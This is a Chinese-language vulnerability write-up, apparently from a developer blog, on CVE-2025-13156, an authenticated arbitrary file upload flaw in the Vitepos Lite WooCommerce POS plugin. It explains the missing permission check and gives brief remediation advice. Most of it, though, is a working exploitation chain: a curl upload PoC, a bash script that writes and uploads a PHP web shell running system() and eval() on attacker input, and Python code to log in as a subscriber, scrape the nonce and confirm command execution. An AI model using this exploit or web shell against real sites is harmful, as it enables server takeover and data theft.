CVE-2025-13156 - Vitepos WooCommerce 的销售(POS) 系统漏洞

CVE-2025-13156 - Vitepos 漏洞 -- WooCommerce 的销售点 (POS) 系统

受影响版本

产品:Vitepos -- WooCommerce 的销售点 (POS) 系统

版本:≤ v3.3.0

网址:https://wordpress.org/plugins/vitepos-lite/

CVE-2025-13156 --- 已认证(订阅者+)任意文件上传

受影响组件:网站服务器

攻击途径:在受影响网站的服务器上上传任意文件。

触发:这使得拥有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件,从而实现远程代码执行。

复制代码
\  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \  
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \ 
-F 'category_name=evil' \  
-F 'category_parent=0' \  
-F 'category_description=PoC-shell' \  
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

核心问题

  1. 权限验证缺失 :REST端点仅检查is_user_logged_in(),未验证用户是否具有管理产品分类的权限

  2. 文件类型过滤不严:未对上传文件类型进行严格限制,允许上传PHP等可执行文件

影响:任何已认证用户(包括订阅者等低权限角色)都可以通过暴露的 Vitepos Lite REST 端点将任意文件上传到 wp-content/uploads/// 目录。在已启用 PHP 执行(或可通过上传配置文件重新启用)的服务器上,这会导致远程代码执行;即使执行被阻止,攻击者仍可通过上传的 HTML/SVG 文件托管恶意载荷或构造存储型 XSS 攻击。这实际上赋予了任何已登录用户任意文件写入权限。

该插件的 REST 路由位于 /wp-json/vitepos/v1/product/... 下,依赖于宽松的权限检查,实际上会接受任何已登录用户(is_user_logged_in()),而忽略调用者是否为 POS 用户或是否具有管理产品条款的权限。因此,低权限角色(例如,订阅者)也可以访问诸如 add-category/update-category 之类的端点。

公开POC内容

复制代码
curl -k \
  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
  -H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
  -H 'X-WP-Nonce: <your_nonce>' \
  -F 'category_name=evil' \
  -F 'category_parent=0' \
  -F 'category_description=PoC-shell' \
  -F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

完整漏洞利用POC

复制代码
#!/bin/bash

# CVE-2025-13156 漏洞利用脚本
# 针对 Vitepos Lite ≤ v3.3.0 的任意文件上传漏洞

TARGET="http://target-site.com"
COOKIE="wordpress_logged_in_hash=your_cookie_value"
NONCE="your_nonce_value"

# 创建恶意PHP文件
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
if(isset($_POST['code'])) {
    eval($_POST['code']);
}
echo "Vitepos Shell";
?>
EOF

# 通过add-category端点上传Web Shell
curl -k -X POST \
  "${TARGET}/wp-json/vitepos/v1/product/add-category" \
  -H "Cookie: ${COOKIE}" \
  -H "X-WP-Nonce: ${NONCE}" \
  -F "category_name=exploit" \
  -F "category_parent=0" \
  -F "category_description=Pwned" \
  -F "category_image=@/tmp/shell.php"

echo "检查上传结果: ${TARGET}/wp-content/uploads/vitepos/category/shell.php"

完整利用链路补充

步骤1:获取必要的认证信息

复制代码
import requests
import re

def get_wp_details(target_url):
    """获取WordPress nonce和cookie"""
    
    # 1. 登录获取cookie (需要有效凭证)
    session = requests.Session()
    login_data = {
        'log': 'subscriber_user',  # 订阅者账号
        'pwd': 'password',
        'wp-submit': 'Log In'
    }
    response = session.post(f"{target_url}/wp-login.php", data=login_data)
    
    # 2. 从页面中提取nonce
    response = session.get(f"{target_url}/wp-admin/")
    nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)
    nonce = nonce_match.group(1) if nonce_match else None
    
    return session.cookies, nonce

步骤3:验证利用成功

复制代码
def verify_exploit(target_url, cookies):
    """验证Web Shell是否成功上传并执行"""
    
    # 尝试访问上传的shell
    shell_url = f"{target_url}/wp-content/uploads/vitepos/category/shell.php"
    
    # 测试命令执行
    test_response = requests.get(
        f"{shell_url}?cmd=whoami",
        cookies=cookies,
        verify=False
    )
    
    if "www-data" in test_response.text or "root" in test_response.text:
        print("[+] 漏洞利用成功!获得RCE权限")
        return True
    else:
        print("[-] 漏洞利用可能失败")
        return False

修复建议

  1. 升级到安全版本:更新至 Vitepos v3.3.1 或更高版本

  2. 文件检查 :扫描wp-content/uploads/vitepos/category/目录中的可疑文件

  3. 访问日志监控:检查对可疑PHP文件的访问记录

相关推荐
诸神黄昏EX33 分钟前
Android fw BatteryService
android
alexhilton37 分钟前
提升 Android Compose 页面的流畅度
android·kotlin·android jetpack
撩得Android一次心动2 小时前
Android中Gradle网络下载超时、更改存放位置(解决方案)
android·gradle
HQL_seven3 小时前
【Activity】Android Activity详解
android
AI2中文网4 小时前
安卓 15/16 手机软键盘遮挡输入框、布局顶不上去?已解决:重新编译即可
android·智能手机
字节暗面4 小时前
Android APP 加固横评记录:爱加密、梆梆、网易易盾与腾讯 ACE
android·逆向工程·加固
落魄Android在线炒饭4 小时前
Android 实战问题反推 OpenGL 概念(上)
android·opengl
booboosui4 小时前
DeepSeek 的 Worker 调得动 GitHub,调不动微信:三类 Worker 的实现差别
android
MiyamuraMiyako5 小时前
Compose LazyRow 实现尾项露出与少量数据均分
android·android jetpack
booboosui6 小时前
输入法借 350 毫秒:给 agent 打字的两条路
android